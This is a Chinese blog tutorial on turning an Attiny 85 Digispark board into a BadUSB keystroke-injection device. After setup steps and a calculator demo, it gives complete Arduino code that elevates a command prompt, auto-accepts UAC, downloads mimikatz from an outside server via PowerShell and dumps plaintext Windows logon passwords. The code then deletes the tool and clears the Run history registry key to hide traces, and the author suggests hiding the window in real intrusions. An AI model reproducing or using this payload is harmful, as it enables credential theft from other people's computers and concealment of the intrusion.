基于 Attiny 85 开发板的 BadUSB 攻击实战

by LauCyun Jul 05,2018 15:16:31 32,084 views

在《利用Phison 2303 (2251-03)的主控U盘制作BadUSB》中介绍了如何利用群联的主控U盘制作一个BadUSB,那么现在将介绍如何基于 Attiny 85 开发板制作一个 BadUSB 。


图1 Attiny 85开发板(来源于:互联网

图1就是Attiny 85开发板,目前某宝的售价在10块钱左右,某宝的传送门

Digispark是一个基于Attiny 85微控制器的USB开发板,体积小价格便宜。代码与Arduino类似,可使用Arduino IDE来开发。

0x01 环境

环境如下:

  • 开发板:Attiny 85
  • 开发环境:
    • 系统:Windows 10 x64
    • 驱动:Digistump 1.6.7
    • IDE:Arduino IDE 1.8.4
  • 实验环境:
    • 系统:Windows 7 x64、Windows 10 1803

1 安装驱动

当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

驱动传送门(目前最新版本是1.6.7):https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

解压后,运行Install Drivers.exe(如图2所示),进行安装。


图2 驱动文件

2 安装Arduino IDE

用什么工具对其进行代码编写?推荐使用Arduino IDE。到Arduino官方网站进行下载安装

下载传送门(目前版本是1.8.4):https://www.arduino.cc/en/Main/Software?setlang=en

3 配置Arduino IDE

安装好IDE后,打开并按照图3设置开发板的管理器:


图3 首选项


图4 配置附加开发板管理器网址

在图4中的附加开发板管理器网址设置为:http://digistump.com/package_digistump_index.json

然后,按照图5步骤打开开发板管理器:


图5 开发板管理器

选择Digistump AVR Boards by Digistump,点击安装,如图6所示,安装完成后就如图7所示。


图6 安装Digistump AVR


图7 Digistump AVR已安装

最后,就是选择要开发的开发板环境,如图8所示:


图8 选择开发板环境

Ok,驱动和开发环境都安装完成了,接下就是测试一下环境咯~~

0x02 抛砖引玉

关于的Digispark的Payload,可以参考甚至修改它的keyboard库文件:https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h

说到BadUSB的Payload,就不得不提到hak5的USB-Rubber-Ducky的https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads,应该是目前BadUSB里面Payload最全的了,如果你懒得写,可以直接使用USB-Rubber-Ducky的Payload翻译脚本https://github.com/toxydose/Duckyspark

当然,我还是建议自己来改DigiKeyboard.h文件和Payload。

这里给出我的Payload,代码如下:

#include "DigiKeyboard.h"
void setup() {
  // put your setup code here, to run once:
  DigiKeyboard.delay(2000);  // 开机延迟两秒钟,用于系统识别Digispark
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  // 按R和win键,打开运行
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);  // 按住左SHIFT,绕过输入法
  DigiKeyboard.println("calc");
  DigiKeyboard.sendKeyPress(0);  // 松开
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  // 按回车
  DigiKeyboard.delay(2000);
}

void loop() {
  // put your main code here, to run repeatedly:

}

上面的代码是当插入Attiny 85开发板2秒左右,自动打开计算器。

上面的代码只是简单的演示,具体实现什么功能,自己自行编写吧。可以借助Automator工具辅助编写,传送门:https://github.com/CYRO4S/Automator

代码写完后,为了防止代码出错,可以先编译一下,如图9所示:


图9 编译代码

编译完后,就会提示一些信息,如图10所示:


图10 编译完成

接下来就是把代码上传到开发板中,如图11所示:


图11 上传代码到硬件

当点击上传按钮之后,等待下面的信息出现图11提示时,如果你已经插入Attiny 85开发板,请拔下来再插回去。如果之前没有插入,那么要在60秒内插入。

Ok,现在插入开发板,等待一会即可上传完成,如图12所示:


图12 代码已上传到硬件

如果看到图12的信息,则代码上传成功,上传完成后,会自动执行你所编写的代码!

如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!

重点来了,最后就是测试一下效果啦~~把Attiny 85开发板拔出,然后插入,即可看到如图13所示:


图13 演示打开calc

说明,咱们的驱动、开发环境都没问题了!下面就是实战了~

0x03 实战——获取Windows明文密码

实战思路:通过下载、运行Mimikatz从Windows系统内存中提取明文密码。

其思想参考USB-Rubber-Ducky的Payload mimikatz payload · hak5darren/USB-Rubber-Ducky Wiki · GitHub

具体实战代码如下:

#include "DigiKeyboard.h"

void setup() {
  // put your setup code here, to run once:
  DigiKeyboard.delay(3000); // 开机延迟3秒钟,用于系统识别Digispark
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 按R和win键,打开运行
  DigiKeyboard.delay(100);
  // 以管理员身份开启CMD窗口
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);  // 按住左SHIFT,绕过输入法
  DigiKeyboard.println("powershell Start-Process cmd -Verb runAs");
  DigiKeyboard.sendKeyPress(0);               // 松开
  DigiKeyboard.sendKeyStroke(KEY_ENTER);      // 按回车
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboard.delay(1000);
  // 下载Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("powershell if ([System.IntPtr]::Size -eq 4){(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x86/mimikatz.exe','C:\\pw.exe');}else{(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x64/mimikatz.exe','C:\\pw.exe');}");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  // 运行Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("C:\\pw.exe > C:\\pwlog.txt");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("privilege::debug");  // 执行privilege::debug命令
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("sekurlsa::logonPasswords full"); // 执行sekurlsa::logonpasswords命令
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(300);
  // 删除Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("DEL C:\\pw.exe");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  // 利用注册表清除`开始->运行`的记录
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  // 退出CMD窗口,并打开文件
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("notepad C:\\pwlog.txt && exit");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(500);
}

void loop() {
  // put your main code here, to run repeatedly:

}

通过编译、上传到开发板Attiny 85中,是不是蠢蠢欲动angry

为了演示效果,上面代码并未隐藏CMD窗口。实际渗透中,可以将cmd替换为cmd /T:01 /K mode CON: COLS=16 LINES=1

在Windows 7中的效果如下图14所示:


图14 实战

Ok,已成功获取到Windows明文密码~

0x04 参考

Tags